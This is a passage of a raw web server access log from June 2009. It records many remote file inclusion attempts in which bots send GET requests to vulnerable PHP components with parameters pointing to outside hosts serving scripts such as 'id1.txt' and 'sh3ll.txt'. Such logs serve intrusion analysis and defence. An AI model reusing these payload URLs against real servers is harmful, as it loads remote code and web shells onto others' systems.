/?sayfa=http://www.canalteresina.org/enviar4? HTTP/1.1" 200 111844 "-" "Mediapartners-Google" 91.145.101.25 - - [18/Jun/2009:12:31:01 -0600] "GET /2009/06/04/controlling-an%20.../index.php?sayfa=http://budhathokihandicraft.com/avactis-layouts/files/usb.txt? HTTP/1.1" 302 853 "-" "Opera/9.64 (Windows NT 6.0; U; fr) Presto/2.1.1" 91.145.101.25 - - [18/Jun/2009:12:31:02 -0600] "GET /2009/06/04/controlling-an%20.../?sayfa=http://budhathokihandicraft.com/avactis-layouts/files/usb.txt? HTTP/1.1" 302 791 "-" "Opera/9.64 (Windows NT 6.0; U; fr) Presto/2.1.1" 91.145.101.25 - - [18/Jun/2009:12:31:02 -0600] "GET /2009/06/04/controlling-an-rfi-bot/?sayfa=http://budhathokihandicraft.com/avactis-layouts/files/usb.txt? HTTP/1.1" 200 47154 "-" "Opera/9.64 (Windows NT 6.0; U; fr) Presto/2.1.1" 66.249.68.34 - - [18/Jun/2009:12:31:07 -0600] "GET /2009/06/04/controlling-an-rfi-bot/?sayfa=http://budhathokihandicraft.com/avactis-layouts/files/usb.txt? HTTP/1.1" 200 14480 "-" "Mediapartners-Google" 66.249.68.34 - - [18/Jun/2009:12:31:09 -0600] "GET /2009/06/04/controlling-an-rfi-bot/?sayfa=http://budhathokihandicraft.com/avactis-layouts/files/usb.txt? HTTP/1.1" 200 47591 "-" "Mediapartners-Google" 121.15.254.22 - - [18/Jun/2009:12:45:51 -0600] "GET /rfi.txt//components/com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=http://www.yak.com.pl/id1.txt? HTTP/1.1" 404 563 "-" "Mozilla/5.0" 121.15.254.22 - - [18/Jun/2009:12:45:51 -0600] "GET //components/com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=http://www.yak.com.pl/id1.txt? HTTP/1.1" 302 817 "-" "Mozilla/5.0" 121.15.254.22 - - [18/Jun/2009:12:45:52 -0600] "GET //components/com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=http://www.yak.com.pl/id1.txt? HTTP/1.1" 404 33758 "-" "Mozilla/5.0" 65.23.158.226 - - [18/Jun/2009:12:52:54 -0600] "GET /rfi.txt//components/com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=http://www.jv-deals.com//wordpress/wp-content/themes/AllBlue/AllBlue/images/thumb?? HTTP/1.1" 404 616 "-" "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.7.6) Gecko/20050512 Firefox" 65.23.158.226 - - [18/Jun/2009:12:52:54 -0600] "GET //components/com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=http://www.jv-deals.com//wordpress/wp-content/themes/AllBlue/AllBlue/images/thumb?? HTTP/1.1" 302 870 "-" "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.7.6) Gecko/20050512 Firefox" 65.23.158.226 - - [18/Jun/2009:12:52:56 -0600] "GET //components/com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=http://www.jv-deals.com//wordpress/wp-content/themes/AllBlue/AllBlue/images/thumb?? HTTP/1.1" 404 34167 "-" "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.7.6) Gecko/20050512 Firefox" 65.23.158.226 - - [18/Jun/2009:12:55:02 -0600] "GET /rfi.txt//components/com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=http://www.jv-deals.com//wordpress/wp-content/themes/AllBlue/AllBlue/images/thumb?? HTTP/1.1" 404 616 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1" 65.23.158.226 - - [18/Jun/2009:12:55:02 -0600] "GET //components/com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=http://www.jv-deals.com//wordpress/wp-content/themes/AllBlue/AllBlue/images/thumb?? HTTP/1.1" 302 870 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1" 65.23.158.226 - - [18/Jun/2009:12:55:03 -0600] "GET //components/com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=http://www.jv-deals.com//wordpress/wp-content/themes/AllBlue/AllBlue/images/thumb?? HTTP/1.1" 404 34195 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1" 218.234.21.178 - - [18/Jun/2009:13:02:46 -0600] "GET /rfi.txt%22%20%20target=%22_blank//components/com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=http://www.jv-deals.com//wordpress/wp-content/themes/AllBlue/AllBlue/images/thumb?? HTTP/1.1" 302 903 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1" 218.234.21.178 - - [18/Jun/2009:13:02:47 -0600] "GET /rfi.txt%22%20%20target=%22_blank//components/com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=http://www.jv-deals.com//wordpress/wp-content/themes/AllBlue/AllBlue/images/thumb?? HTTP/1.1" 404 34152 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1" 218.234.21.178 - - [18/Jun/2009:13:02:51 -0600] "GET /rfi.txt//components/com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=http://www.jv-deals.com//wordpress/wp-content/themes/AllBlue/AllBlue/images/thumb?? HTTP/1.1" 404 616 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1" 218.234.21.178 - - [18/Jun/2009:13:02:51 -0600] "GET //components/com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=http://www.jv-deals.com//wordpress/wp-content/themes/AllBlue/AllBlue/images/thumb?? HTTP/1.1" 302 870 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1" 218.234.21.178 - - [18/Jun/2009:13:02:52 -0600] "GET //components/com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=http://www.jv-deals.com//wordpress/wp-content/themes/AllBlue/AllBlue/images/thumb?? HTTP/1.1" 404 34018 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1" 121.15.254.22 - - [18/Jun/2009:13:06:43 -0600] "GET /rfi.txt/errors.php?error=http://www.kq-china.com/web//plugins/system/id1.txt? HTTP/1.1" 404 526 "-" "Mozilla/5.0" 121.15.254.22 - - [18/Jun/2009:13:06:43 -0600] "GET /errors.php?error=http://www.kq-china.com/web//plugins/system/id1.txt? HTTP/1.1" 302 780 "-" "Mozilla/5.0" 121.15.254.22 - - [18/Jun/2009:13:06:44 -0600] "GET /errors.php?error=http://www.kq-china.com/web//plugins/system/id1.txt? HTTP/1.1" 404 33636 "-" "Mozilla/5.0" 121.15.254.22 - - [18/Jun/2009:13:06:55 -0600] "GET /rfi.txt/errors.php?error=http://www.yak.com.pl/id1.txt? HTTP/1.1" 404 504 "-" "Mozilla/5.0" 121.15.254.22 - - [18/Jun/2009:13:06:55 -0600] "GET /errors.php?error=http://www.yak.com.pl/id1.txt? HTTP/1.1" 302 758 "-" "Mozilla/5.0" 121.15.254.22 - - [18/Jun/2009:13:06:55 -0600] "GET /errors.php?error=http://www.yak.com.pl/id1.txt? HTTP/1.1" 404 33525 "-" "Mozilla/5.0" 87.230.22.39 - - [18/Jun/2009:13:14:02 -0600] "GET /rfi.txt//components/com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=http://kotz.org/images/extras/id.txt??? HTTP/1.1" 404 572 "-" "Mozilla/5.0" 87.230.22.39 - - [18/Jun/2009:13:14:02 -0600] "GET //components/com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=http://kotz.org/images/extras/id.txt??? HTTP/1.1" 302 826 "-" "Mozilla/5.0" 87.230.22.39 - - [18/Jun/2009:13:14:03 -0600] "GET //components/com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=http://kotz.org/images/extras/id.txt??? HTTP/1.1" 404 33818 "-" "Mozilla/5.0" 62.149.240.214 - - [18/Jun/2009:13:14:24 -0600] "GET /?sourcedir=http://3dcgfx.net/3dcgfx//modules/Forums/admin/test.txt?? HTTP/1.1" 302 759 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8) Gecko/20051219 SeaMonkey/1.0b" 62.149.240.214 - - [18/Jun/2009:13:14:25 -0600] "GET /?sourcedir=http://3dcgfx.net/3dcgfx//modules/Forums/admin/test.txt?? HTTP/1.1" 200 111165 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8) Gecko/20051219 SeaMonkey/1.0b" 217.147.29.190 - - [18/Jun/2009:13:37:10 -0600] "GET /rfi.txt//components/com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=http://www.c21vox.tv/id1.txt?? HTTP/1.1" 404 563 "-" "Mozilla/5.0" 217.147.29.190 - - [18/Jun/2009:13:37:10 -0600] "GET //components/com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=http://www.c21vox.tv/id1.txt?? HTTP/1.1" 302 817 "-" "Mozilla/5.0" 217.147.29.190 - - [18/Jun/2009:13:37:11 -0600] "GET //components/com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=http://www.c21vox.tv/id1.txt?? HTTP/1.1" 404 33763 "-" "Mozilla/5.0" 69.94.129.240 - - [18/Jun/2009:13:41:25 -0600] "GET /rfi.txt//components/com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=http://www.angelcitytrading.com/css/1.txt?? HTTP/1.1" 404 576 "-" "Mozilla/5.0" 69.94.129.240 - - [18/Jun/2009:13:41:25 -0600] "GET //components/com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=http://www.angelcitytrading.com/css/1.txt?? HTTP/1.1" 302 830 "-" "Mozilla/5.0" 69.94.129.240 - - [18/Jun/2009:13:41:26 -0600] "GET //components/com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=http://www.angelcitytrading.com/css/1.txt?? HTTP/1.1" 404 34223 "-" "Mozilla/5.0" 222.122.142.249 - - [18/Jun/2009:13:51:32 -0600] "GET /rfi.txt/errors.php?error=http://www.hongik.ac.kr/ad/counts/id.txt?? HTTP/1.1" 404 516 "-" "Mozilla/5.0" 222.122.142.249 - - [18/Jun/2009:13:51:32 -0600] "GET /errors.php?error=http://www.hongik.ac.kr/ad/counts/id.txt?? HTTP/1.1" 302 770 "-" "Mozilla/5.0" 222.122.142.249 - - [18/Jun/2009:13:51:33 -0600] "GET /errors.php?error=http://www.hongik.ac.kr/ad/counts/id.txt?? HTTP/1.1" 404 33591 "-" "Mozilla/5.0" 200.103.16.12 - - [18/Jun/2009:13:53:06 -0600] "GET /errors.php?error=http://ibmi.tempsite.ws/fx29id1.txt?? HTTP/1.1" 302 765 "-" "Mozilla/5.0" 200.103.16.12 - - [18/Jun/2009:13:53:07 -0600] "GET /rfi.txt/errors.php?error=http://ibmi.tempsite.ws/fx29id1.txt?? HTTP/1.1" 404 511 "-" "Mozilla/5.0" 200.103.16.12 - - [18/Jun/2009:13:53:07 -0600] "GET /errors.php?error=http://ibmi.tempsite.ws/fx29id1.txt?? HTTP/1.1" 404 15928 "-" "Mozilla/5.0" 200.103.16.12 - - [18/Jun/2009:13:53:24 -0600] "GET /rfi.txt/errors.php?error=http://ibmi.tempsite.ws/fx29id1.txt?? HTTP/1.1" 404 511 "-" "Mozilla/5.0" 200.103.16.12 - - [18/Jun/2009:13:53:24 -0600] "GET /errors.php?error=http://ibmi.tempsite.ws/fx29id1.txt?? HTTP/1.1" 302 765 "-" "Mozilla/5.0" 200.103.16.12 - - [18/Jun/2009:13:53:25 -0600] "GET /errors.php?error=http://ibmi.tempsite.ws/fx29id1.txt?? HTTP/1.1" 404 33559 "-" "Mozilla/5.0" 200.103.16.12 - - [18/Jun/2009:13:54:34 -0600] "GET /rfi.txt/errors.php?error=http://ibmi.tempsite.ws/fx29id1.txt?? HTTP/1.1" 404 511 "-" "Mozilla/5.0" 200.103.16.12 - - [18/Jun/2009:13:54:34 -0600] "GET /errors.php?error=http://ibmi.tempsite.ws/fx29id1.txt?? HTTP/1.1" 302 765 "-" "Mozilla/5.0" 200.103.16.12 - - [18/Jun/2009:13:54:35 -0600] "GET /errors.php?error=http://ibmi.tempsite.ws/fx29id1.txt?? HTTP/1.1" 404 33559 "-" "Mozilla/5.0" 201.232.54.48 - - [18/Jun/2009:14:18:41 -0600] "GET /rfi.txt/errors.php?error=http://stonemac.com/bbs/g/id1.txt? HTTP/1.1" 404 508 "-" "Mozilla/5.0" 201.232.54.48 - - [18/Jun/2009:14:18:41 -0600] "GET /errors.php?error=http://stonemac.com/bbs/g/id1.txt? HTTP/1.1" 302 762 "-" "Mozilla/5.0" 201.232.54.48 - - [18/Jun/2009:14:18:42 -0600] "GET /errors.php?error=http://stonemac.com/bbs/g/id1.txt? HTTP/1.1" 404 33552 "-" "Mozilla/5.0" 83.222.193.94 - - [18/Jun/2009:15:25:52 -0600] "GET /rfi.txt/administrator/components/com_remository/admin.remository.php?mosConfig_absolute_path=http://www.ireland.cl//chat/inc/patServer/fx29id1.txt?? HTTP/1.1" 404 597 "-" "Mozilla/5.0" 83.222.193.94 - - [18/Jun/2009:15:25:52 -0600] "GET /administrator/components/com_remository/admin.remository.php?mosConfig_absolute_path=http://www.ireland.cl//chat/inc/patServer/fx29id1.txt?? HTTP/1.1" 302 851 "-" "Mozilla/5.0" 83.222.193.94 - - [18/Jun/2009:15:25:53 -0600] "GET /rfi.txt/administrator/components/com_remository/admin.remository.php?mosConfig_absolute_path=http://www.ireland.cl//chat/inc/patServer/fx29id1.txt?? HTTP/1.1" 404 597 "-" "Mozilla/5.0" 83.222.193.94 - - [18/Jun/2009:15:25:53 -0600] "GET /administrator/components/com_remository/admin.remository.php?mosConfig_absolute_path=http://www.ireland.cl//chat/inc/patServer/fx29id1.txt?? HTTP/1.1" 302 851 "-" "Mozilla/5.0" 83.222.193.94 - - [18/Jun/2009:15:25:53 -0600] "GET /administrator/components/com_remository/admin.remository.php?mosConfig_absolute_path=http://www.ireland.cl//chat/inc/patServer/fx29id1.txt?? HTTP/1.1" 404 34415 "-" "Mozilla/5.0" 83.222.193.94 - - [18/Jun/2009:15:25:55 -0600] "GET /administrator/components/com_remository/admin.remository.php?mosConfig_absolute_path=http://www.ireland.cl//chat/inc/patServer/fx29id1.txt?? HTTP/1.1" 404 34420 "-" "Mozilla/5.0" 203.237.238.234 - - [18/Jun/2009:15:29:50 -0600] "GET /rfi.txt///administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://levraicyrano.fr/id1.txt? HTTP/1.1" 404 565 "-" "Mozilla/5.0" 203.237.238.234 - - [18/Jun/2009:15:29:50 -0600] "GET ///administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://levraicyrano.fr/id1.txt? HTTP/1.1" 302 819 "-" "Mozilla/5.0" 203.237.238.234 - - [18/Jun/2009:15:29:51 -0600] "GET ///administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://levraicyrano.fr/id1.txt? HTTP/1.1" 404 33762 "-" "Mozilla/5.0" 203.237.238.234 - - [18/Jun/2009:15:30:15 -0600] "GET /rfi.txt///administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://levraicyrano.fr/id1.txt? HTTP/1.1" 404 565 "-" "Mozilla/5.0" 203.237.238.234 - - [18/Jun/2009:15:30:15 -0600] "GET ///administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://levraicyrano.fr/id1.txt? HTTP/1.1" 302 819 "-" "Mozilla/5.0" 203.237.238.234 - - [18/Jun/2009:15:30:16 -0600] "GET ///administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://levraicyrano.fr/id1.txt? HTTP/1.1" 404 33762 "-" "Mozilla/5.0" 222.122.179.44 - - [18/Jun/2009:15:31:21 -0600] "GET /rfi.txt//components/com_virtuemart/js/dtree=http://www.campani.net/fx29id1.txt?? HTTP/1.1" 404 529 "-" "Mozilla/5.0" 222.122.179.44 - - [18/Jun/2009:15:31:21 -0600] "GET //components/com_virtuemart/js/dtree=http://www.campani.net/fx29id1.txt?? HTTP/1.1" 302 781 "-" "Mozilla/5.0" 222.122.179.44 - - [18/Jun/2009:15:31:22 -0600] "GET //components/com_virtuemart/js/dtree=http://www.campani.net/fx29id1.txt HTTP/1.1" 404 33599 "-" "Mozilla/5.0" 222.122.179.44 - - [18/Jun/2009:15:33:49 -0600] "GET /rfi.txt//components/com_virtuemart/js/dtree=http://www.campani.net/fx29id1.txt?? HTTP/1.1" 404 529 "-" "Mozilla/5.0" 222.122.179.44 - - [18/Jun/2009:15:33:49 -0600] "GET //components/com_virtuemart/js/dtree=http://www.campani.net/fx29id1.txt?? HTTP/1.1" 302 781 "-" "Mozilla/5.0" 222.122.179.44 - - [18/Jun/2009:15:33:50 -0600] "GET //components/com_virtuemart/js/dtree=http://www.campani.net/fx29id1.txt HTTP/1.1" 404 33600 "-" "Mozilla/5.0" 189.82.182.200 - - [18/Jun/2009:15:48:51 -0600] "GET /2009/06/04/controlling-an-rfi-bot/index.php?sayfa=http://www.canalteresina.org/enviar4? HTTP/1.1" 302 766 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.9.0.11) Gecko/2009060215 Firefox/3.0.11" 189.82.182.200 - - [18/Jun/2009:15:48:52 -0600] "GET /2009/06/04/controlling-an-rfi-bot/?sayfa=http://www.canalteresina.org/enviar4? HTTP/1.1" 200 47326 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.9.0.11) Gecko/2009060215 Firefox/3.0.11" 66.249.68.34 - - [18/Jun/2009:15:48:58 -0600] "GET /2009/06/04/controlling-an-rfi-bot/?sayfa=http://www.canalteresina.org/enviar4? HTTP/1.1" 200 47514 "-" "Mediapartners-Google" 211.49.99.7 - - [18/Jun/2009:16:07:09 -0600] "GET /rfi.txt///administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://levraicyrano.fr/id1.txt? HTTP/1.1" 404 565 "-" "Mozilla/5.0" 211.49.99.7 - - [18/Jun/2009:16:07:12 -0600] "GET ///administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://levraicyrano.fr/id1.txt? HTTP/1.1" 302 819 "-" "Mozilla/5.0" 211.49.99.7 - - [18/Jun/2009:16:07:13 -0600] "GET ///administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://levraicyrano.fr/id1.txt? HTTP/1.1" 404 33762 "-" "Mozilla/5.0" 211.49.99.7 - - [18/Jun/2009:16:15:56 -0600] "GET /rfi.txt///administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://levraicyrano.fr/id1.txt? HTTP/1.1" 404 565 "-" "Mozilla/5.0" 211.49.99.7 - - [18/Jun/2009:16:15:56 -0600] "GET ///administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://levraicyrano.fr/id1.txt? HTTP/1.1" 302 819 "-" "Mozilla/5.0" 211.49.99.7 - - [18/Jun/2009:16:15:57 -0600] "GET ///administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://levraicyrano.fr/id1.txt? HTTP/1.1" 404 33763 "-" "Mozilla/5.0" 124.138.156.3 - - [18/Jun/2009:16:28:27 -0600] "GET /rfi.txt///administrator/components/com_virtuemart/image_upload.php?mosConfig_absolute_path=http://food114.tv/banner/shirohige/fxid.txt?? HTTP/1.1" 404 585 "-" "Mozilla/5.0" 124.138.156.3 - - [18/Jun/2009:16:28:27 -0600] "GET ///administrator/components/com_virtuemart/image_upload.php?mosConfig_absolute_path=http://food114.tv/banner/shirohige/fxid.txt?? HTTP/1.1" 302 839 "-" "Mozilla/5.0" 124.138.156.3 - - [18/Jun/2009:16:28:28 -0600] "GET ///administrator/components/com_virtuemart/image_upload.php?mosConfig_absolute_path=http://food114.tv/banner/shirohige/fxid.txt?? HTTP/1.1" 404 33861 "-" "Mozilla/5.0" 219.85.63.226 - - [18/Jun/2009:16:29:21 -0600] "GET /rfi.txt//com_moofaq/includes/file_includer.php?gzip=0&file=http://personel.trakya.edu.tr/media_yedek/id1.txt?? HTTP/1.1" 404 563 "-" "Mozilla/5.0" 219.85.63.226 - - [18/Jun/2009:16:29:22 -0600] "GET /rfi.txt//com_moofaq/includes/file_includer.php?gzip=0&file=http://personel.trakya.edu.tr/media_yedek/id1.txt?? HTTP/1.1" 404 563 "-" "Mozilla/5.0" 219.85.63.226 - - [18/Jun/2009:16:29:21 -0600] "GET //com_moofaq/includes/file_includer.php?gzip=0&file=http://personel.trakya.edu.tr/media_yedek/id1.txt?? HTTP/1.1" 302 813 "-" "Mozilla/5.0" 219.85.63.226 - - [18/Jun/2009:16:29:22 -0600] "GET //com_moofaq/includes/file_includer.php?gzip=0&file=http://personel.trakya.edu.tr/media_yedek/id1.txt?? HTTP/1.1" 302 813 "-" "Mozilla/5.0" 219.85.63.226 - - [18/Jun/2009:16:29:23 -0600] "GET //com_moofaq/includes/file_includer.php?gzip=0&file=http://personel.trakya.edu.tr/media_yedek/id1.txt?? HTTP/1.1" 404 34055 "-" "Mozilla/5.0" 219.85.63.226 - - [18/Jun/2009:16:29:23 -0600] "GET //com_moofaq/includes/file_includer.php?gzip=0&file=http://personel.trakya.edu.tr/media_yedek/id1.txt?? HTTP/1.1" 404 34262 "-" "Mozilla/5.0" 193.34.167.192 - - [18/Jun/2009:16:36:01 -0600] "GET /rfi.txt/errors.php?error=http://aglifestylesmarketplace.com/fx29id.txt??? HTTP/1.1" 404 522 "-" "Mozilla/5.0" 193.34.167.192 - - [18/Jun/2009:16:36:01 -0600] "GET /errors.php?error=http://aglifestylesmarketplace.com/fx29id.txt??? HTTP/1.1" 302 776 "-" "Mozilla/5.0" 203.237.238.234 - - [18/Jun/2009:16:40:20 -0600] "GET /rfi.txt///administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://levraicyrano.fr/id1.txt? HTTP/1.1" 404 565 "-" "Mozilla/5.0" 203.237.238.234 - - [18/Jun/2009:16:40:20 -0600] "GET ///administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://levraicyrano.fr/id1.txt? HTTP/1.1" 302 819 "-" "Mozilla/5.0" 203.237.238.234 - - [18/Jun/2009:16:40:21 -0600] "GET ///administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://levraicyrano.fr/id1.txt? HTTP/1.1" 404 33762 "-" "Mozilla/5.0" 203.237.238.234 - - [18/Jun/2009:16:50:55 -0600] "GET /rfi.txt///administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://levraicyrano.fr/id1.txt? HTTP/1.1" 404 565 "-" "Mozilla/5.0" 203.237.238.234 - - [18/Jun/2009:16:50:55 -0600] "GET ///administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://levraicyrano.fr/id1.txt? HTTP/1.1" 302 819 "-" "Mozilla/5.0" 203.237.238.234 - - [18/Jun/2009:16:50:56 -0600] "GET ///administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://levraicyrano.fr/id1.txt? HTTP/1.1" 404 33763 "-" "Mozilla/5.0" 62.212.64.10 - - [18/Jun/2009:16:55:52 -0600] "GET /2009/06/04/controlling-an-rfi-bot/index.php?sayfa=http://www.ackerbell.com/en/images/p/log.txt???? HTTP/1.1" 302 804 "-" "libwww-perl/5.63" 62.212.64.10 - - [18/Jun/2009:16:55:52 -0600] "GET /index.php?sayfa=http://www.ackerbell.com/en/images/p/log.txt???? HTTP/1.1" 302 750 "-" "libwww-perl/5.63" 62.212.64.10 - - [18/Jun/2009:16:55:53 -0600] "GET /2009/06/04/controlling-an-rfi-bot/?sayfa=http://www.ackerbell.com/en/images/p/log.txt???? HTTP/1.1" 200 47042 "-" "libwww-perl/5.63" 62.212.64.10 - - [18/Jun/2009:16:55:53 -0600] "GET /?sayfa=http://www.ackerbell.com/en/images/p/log.txt???? HTTP/1.1" 200 111189 "-" "libwww-perl/5.63" 62.212.64.10 - - [18/Jun/2009:16:55:54 -0600] "GET /2009/06/04/controlling-an-rfi-bot/index.php?sayfa=http://www.ackerbell.com/en/images/p/log.txt???? HTTP/1.1" 302 804 "-" "libwww-perl/5.63" 62.212.64.10 - - [18/Jun/2009:16:55:54 -0600] "GET /index.php?sayfa=http://www.ackerbell.com/en/images/p/log.txt???? HTTP/1.1" 302 750 "-" "libwww-perl/5.63" 62.212.64.10 - - [18/Jun/2009:16:55:55 -0600] "GET /2009/06/04/controlling-an-rfi-bot/?sayfa=http://www.ackerbell.com/en/images/p/log.txt???? HTTP/1.1" 200 47042 "-" "libwww-perl/5.63" 62.212.64.10 - - [18/Jun/2009:16:55:55 -0600] "GET /?sayfa=http://www.ackerbell.com/en/images/p/log.txt???? HTTP/1.1" 200 111459 "-" "libwww-perl/5.63" 62.212.64.10 - - [18/Jun/2009:16:55:58 -0600] "GET /2009/06/04/controlling-an-rfi-bot/index.php?sayfa=http://www.ackerbell.com/en/images/p/spa.txt?? HTTP/1.1" 302 802 "-" "libwww-perl/5.63" 62.212.64.10 - - [18/Jun/2009:16:55:59 -0600] "GET /index.php?sayfa=http://www.ackerbell.com/en/images/p/spa.txt?? HTTP/1.1" 302 748 "-" "libwww-perl/5.63" 62.212.64.10 - - [18/Jun/2009:16:55:59 -0600] "GET /2009/06/04/controlling-an-rfi-bot/?sayfa=http://www.ackerbell.com/en/images/p/spa.txt?? HTTP/1.1" 200 47017 "-" "libwww-perl/5.63" 62.212.64.10 - - [18/Jun/2009:16:56:00 -0600] "GET /?sayfa=http://www.ackerbell.com/en/images/p/spa.txt?? HTTP/1.1" 200 111180 "-" "libwww-perl/5.63" 62.212.64.10 - - [18/Jun/2009:16:56:18 -0600] "GET /2009/06/04/index.php?sayfa=http://www.ackerbell.com/en/images/p/log.txt???? HTTP/1.1" 302 781 "-" "libwww-perl/5.63" 62.212.64.10 - - [18/Jun/2009:16:56:20 -0600] "GET /2009/06/04/?sayfa=http://www.ackerbell.com/en/images/p/log.txt???? HTTP/1.1" 200 36340 "-" "libwww-perl/5.63" 62.212.64.10 - - [18/Jun/2009:16:56:21 -0600] "GET /2009/06/04/index.php?sayfa=http://www.ackerbell.com/en/images/p/log.txt???? HTTP/1.1" 302 781 "-" "libwww-perl/5.63" 62.212.64.10 - - [18/Jun/2009:16:56:22 -0600] "GET /2009/06/04/?sayfa=http://www.ackerbell.com/en/images/p/log.txt???? HTTP/1.1" 200 36339 "-" "libwww-perl/5.63" 62.212.64.10 - - [18/Jun/2009:16:56:25 -0600] "GET /2009/06/04/index.php?sayfa=http://www.ackerbell.com/en/images/p/spa.txt?? HTTP/1.1" 302 779 "-" "libwww-perl/5.63" 62.212.64.10 - - [18/Jun/2009:16:56:26 -0600] "GET /2009/06/04/?sayfa=http://www.ackerbell.com/en/images/p/spa.txt?? HTTP/1.1" 200 36321 "-" "libwww-perl/5.63" 62.212.64.10 - - [18/Jun/2009:16:57:25 -0600] "GET /index.php?sayfa=http://www.ackerbell.com/en/images/p/log.txt???? HTTP/1.1" 302 746 "-" "libwww-perl/5.63" 62.212.64.10 - - [18/Jun/2009:16:57:26 -0600] "GET /?sayfa=http://www.ackerbell.com/en/images/p/log.txt???? HTTP/1.1" 200 111191 "-" "libwww-perl/5.63" 62.212.64.10 - - [18/Jun/2009:16:57:28 -0600] "GET /index.php?sayfa=http://www.ackerbell.com/en/images/p/log.txt???? HTTP/1.1" 302 746 "-" "libwww-perl/5.63" 62.212.64.10 - - [18/Jun/2009:16:57:29 -0600] "GET /?sayfa=http://www.ackerbell.com/en/images/p/log.txt???? HTTP/1.1" 200 111019 "-" "libwww-perl/5.63" 62.212.64.10 - - [18/Jun/2009:16:57:33 -0600] "GET /index.php?sayfa=http://www.ackerbell.com/en/images/p/spa.txt?? HTTP/1.1" 302 744 "-" "libwww-perl/5.63" 62.212.64.10 - - [18/Jun/2009:16:57:34 -0600] "GET /?sayfa=http://www.ackerbell.com/en/images/p/spa.txt?? HTTP/1.1" 200 111146 "-" "libwww-perl/5.63" 96.28.123.186 - - [18/Jun/2009:17:00:09 -0600] "GET /index.php?sayfa=http://www.ackerbell.com/en/images/sh3ll.txt??? HTTP/1.1" 302 782 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727)" 96.28.123.186 - - [18/Jun/2009:17:00:10 -0600] "GET /?sayfa=http://www.ackerbell.com/en/images/sh3ll.txt??? HTTP/1.1" 200 111669 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727)" 66.249.68.34 - - [18/Jun/2009:17:00:13 -0600] "GET /?sayfa=http://www.ackerbell.com/en/images/sh3ll.txt??? HTTP/1.1" 200 111997 "-" "Mediapartners-Google" 96.28.123.186 - - [18/Jun/2009:17:01:26 -0600] "GET /?sayfa=http://www.ackerbell.com/en/images/sh3ll.txt??? HTTP/1.1" 200 111981 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727)" 62.212.64.10 - - [18/Jun/2009:17:05:07 -0600] "GET /index.php?sayfa=http://www.ackerbell.com/en/images/p/log.txt???? HTTP/1.1" 302 746 "-" "libwww-perl/5.63" 62.212.64.10 - - [18/Jun/2009:17:05:08 -0600] "GET /?sayfa=http://www.ackerbell.com/en/images/p/log.txt???? HTTP/1.1" 200 111304 "-" "libwww-perl/5.63" 62.212.64.10 - - 